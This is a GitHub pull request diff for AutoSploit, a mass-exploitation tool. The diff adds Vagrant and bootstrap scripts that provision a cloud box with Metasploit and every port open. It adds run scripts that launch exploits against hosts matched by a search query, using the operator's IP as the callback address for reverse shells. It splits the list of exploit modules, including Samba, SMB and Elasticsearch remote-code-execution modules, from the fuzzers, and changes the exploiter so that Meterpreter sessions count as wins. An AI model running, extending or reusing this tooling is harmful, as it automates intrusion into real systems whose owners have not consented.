Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
28 changes: 28 additions & 0 deletions Vagrant/Vagrantfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
# Use as a strating point to spin up a box in lightsail.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Need a Vagrant run in the README, set that up real quick

Copy link
Contributor Author

@Selora Selora Apr 9, 2018

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can I leave this to you? I'm just putting this as-is, I do not intend to make it useful nor to explain my setup.
That's what I used as a dev environment, I'm just putting this in case somebody would be interested.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I have no idea how vagrant works, so we'll just add an issue about it I guess

# the vagrant-lightsail plugin is required
# You probably also need to:
# - Configure the ssh keys path
# - Install and configure the aws-cli package

Vagrant.configure('2') do |config|
config.vm.synced_folder ".", "/vagrant", type: "rsync",
rsync__exclude: ".git/",
rsync__auto: true

config.ssh.private_key_path = '/path/to/id_rsa'
config.ssh.username = 'ubuntu'
config.vm.box = 'lightsail'
config.vm.box_url = 'https://github.com/thejandroman/vagrant-lightsail/raw/master/box/lightsail.box'
config.vm.hostname = 'autosploit-launcher'

config.vm.provider :lightsail do |provider, override|
provider.port_info = [{ from_port: 0, to_port: 65535, protocol:
'all' }]
provider.keypair_name = 'id_rsa'
provider.bundle_id = 'small_1_0'
end

config.vm.provision "bootstrap", type: "shell", run: "once" do |s|
s.path = "./bootstrap/bootstrap.sh"
end
end
20 changes: 20 additions & 0 deletions Vagrant/bootstrap/bootstrap.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
#!/usr/bin/env bash


echo "Yolosploit configurator 2.42"
sudo apt-get --yes update
sudo apt-get --yes upgrade

echo "Installing metasploit. BE PATIENT (5 min max?)"
wget --quiet https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run
chmod +x metasploit-latest-linux-x64-installer.run
sudo ./metasploit-latest-linux-x64-installer.run --unattendedmodeui none --prefix /opt/msf --mode unattended

echo "Installing pyhton2"
sudo apt-get --yes install python python-pip python-virtualenv git

sudo apt-get --yes install fish
sudo chsh -s /usr/bin/fish ubuntu

cd ~
git clone https://github.com/NullArray/AutoSploit
28 changes: 28 additions & 0 deletions dryrun_autosploit.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
#!/usr/bin/env bash


if [[ $# -lt 2 ]]; then
echo "Syntax:"
echo -e "\t./dryrun_autosploit.sh <whitelist.txt> <search_query>"
exit 1
fi

WHITELIST=$1
SEARCH_QUERY=$2
LPORT=4444

LHOST=`dig +short @resolver1.opendns.com myip.opendns.com`
TIMESTAMP=`date +%s`


echo "python autosploit.py -s -c -q \"${SEARCH_QUERY}\" --overwrite \
--whitelist $WHITELIST -e \
-C \"msf_autorun_${TIMESTAMP}\" $LHOST $LPORT \
--exploit-file-to-use etc/json/default_modules.json \
--dry-run"

python autosploit.py -s -c -q "${SEARCH_QUERY}" --overwrite \
--whitelist $WHITELIST -e \
-C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT \
--exploit-file-to-use etc/json/default_modules.json \
--dry-run
25 changes: 1 addition & 24 deletions etc/json/default_modules.json
Original file line number Diff line number Diff line change
Expand Up @@ -146,7 +146,6 @@
"auxiliary/admin/cisco/vpn_3000_ftp_bypass",
"exploit/bsdi/softcart/mercantec_softcart ",
"exploit/freebsd/misc/citrix_netscaler_soap_bof",
"exploit/freebsd/samba/trans2open",
"exploit/linux/ftp/proftp_sreplace ",
"exploit/linux/http/dcos_marathon",
"exploit/linux/http/f5_icall_cmd",
Expand Down Expand Up @@ -183,7 +182,6 @@
"exploit/linux/proxy/squid_ntlm_authenticate",
"exploit/linux/samba/lsa_transnames_heap",
"exploit/linux/samba/setinfopolicy_heap",
"exploit/linux/samba/trans2open",
"exploit/multi/elasticsearch/script_mvel_rce",
"exploit/multi/elasticsearch/search_groovy_script",
"exploit/multi/http/atutor_sqli",
Expand Down Expand Up @@ -263,27 +261,6 @@
"exploit/windows/smb/ipass_pipe_exec",
"exploit/windows/smb/smb_relay",
"auxiliary/sqli/oracle/jvm_os_code_10g",
"auxiliary/sqli/oracle/jvm_os_code_11g",
"auxiliary/fuzzers/dns/dns_fuzzer",
"auxiliary/fuzzers/ftp/client_ftp",
"auxiliary/fuzzers/ftp/ftp_pre_post",
"auxiliary/fuzzers/http/http_form_field",
"auxiliary/fuzzers/http/http_get_uri_long",
"auxiliary/fuzzers/http/http_get_uri_strings",
"auxiliary/fuzzers/ntp/ntp_protocol_fuzzer",
"auxiliary/fuzzers/smb/smb2_negotiate_corrupt",
"auxiliary/fuzzers/smb/smb_create_pipe",
"auxiliary/fuzzers/smb/smb_create_pipe_corrupt",
"auxiliary/fuzzers/smb/smb_negotiate_corrupt ",
"auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt",
"auxiliary/fuzzers/smb/smb_tree_connect",
"auxiliary/fuzzers/smb/smb_tree_connect_corrupt",
"auxiliary/fuzzers/smtp/smtp_fuzzer",
"auxiliary/fuzzers/ssh/ssh_kexinit_corrupt",
"auxiliary/fuzzers/ssh/ssh_version_15",
"auxiliary/fuzzers/ssh/ssh_version_2",
"auxiliary/fuzzers/ssh/ssh_version_corrupt",
"auxiliary/fuzzers/tds/tds_login_corrupt",
"auxiliary/fuzzers/tds/tds_login_username"
"auxiliary/sqli/oracle/jvm_os_code_11g"
]
}
25 changes: 25 additions & 0 deletions etc/json/fuzzers.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
{
"exploits": [
"auxiliary/fuzzers/dns/dns_fuzzer",
"auxiliary/fuzzers/ftp/client_ftp",
"auxiliary/fuzzers/ftp/ftp_pre_post",
"auxiliary/fuzzers/http/http_form_field",
"auxiliary/fuzzers/http/http_get_uri_long",
"auxiliary/fuzzers/http/http_get_uri_strings",
"auxiliary/fuzzers/ntp/ntp_protocol_fuzzer",
"auxiliary/fuzzers/smb/smb2_negotiate_corrupt",
"auxiliary/fuzzers/smb/smb_create_pipe",
"auxiliary/fuzzers/smb/smb_create_pipe_corrupt",
"auxiliary/fuzzers/smb/smb_negotiate_corrupt ",
"auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt",
"auxiliary/fuzzers/smb/smb_tree_connect",
"auxiliary/fuzzers/smb/smb_tree_connect_corrupt",
"auxiliary/fuzzers/smtp/smtp_fuzzer",
"auxiliary/fuzzers/ssh/ssh_kexinit_corrupt",
"auxiliary/fuzzers/ssh/ssh_version_15",
"auxiliary/fuzzers/ssh/ssh_version_2",
"auxiliary/fuzzers/ssh/ssh_version_corrupt",
"auxiliary/fuzzers/tds/tds_login_corrupt",
"auxiliary/fuzzers/tds/tds_login_username"
]
}
17 changes: 12 additions & 5 deletions lib/exploitation/exploiter.py
Original file line number Diff line number Diff line change
Expand Up @@ -121,7 +121,7 @@ def start_exploit(self):
"setg threads 20\n"
"set rhost {rhost}\n"
"set rhosts {rhosts}\n"
"run\n"
"run -z\n"
"exit\n"
)

Expand Down Expand Up @@ -157,11 +157,18 @@ def start_exploit(self):

ansi_escape = re.compile(r'\x1B\[[0-?]*[ -/]*[@-~]')
msf_output_lines = linesep.join([ansi_escape.sub('', x) for x in output if re.search('\[.\]', x)])
msf_wins = linesep.join([ansi_escape.sub('', x) for x in output if re.search('\[\+\]', x)])
msf_fails = linesep.join([ansi_escape.sub('', x) for x in output if re.search('\[-\]', x)])

win_total += len(msf_wins)
fail_total += len(msf_fails)
msf_wins = linesep.join([ansi_escape.sub('', x) for x in msf_output_lines if re.search('\[\+\]', x) or
'Meterpreter' in x or
'Session' in x or
'Sending stage' in x])

msf_fails = linesep.join([ansi_escape.sub('', x) for x in msf_output_lines if re.search('\[-\]', x)])

if len(msf_wins):
win_total += 1
if len(msf_fails):
fail_total += 1

csv_file = csv.writer(f, quoting=csv.QUOTE_ALL)
csv_file.writerow([rhost,
Expand Down
16 changes: 16 additions & 0 deletions run_autosploit.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
#!/usr/bin/env bash


if [[ $# -lt 2 ]]; then
echo "Syntax:"
echo -e "\t./run_autosploit.sh <whitelist.txt> <exposed_lport>"
exit 1
fi

WHITELIST=$1
LPORT=$2

LHOST=`dig +short @resolver1.opendns.com myip.opendns.com`
TIMESTAMP=`date +%s`

python autosploit.py --whitelist $WHITELIST -e -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT -f etc/json/default_modules.json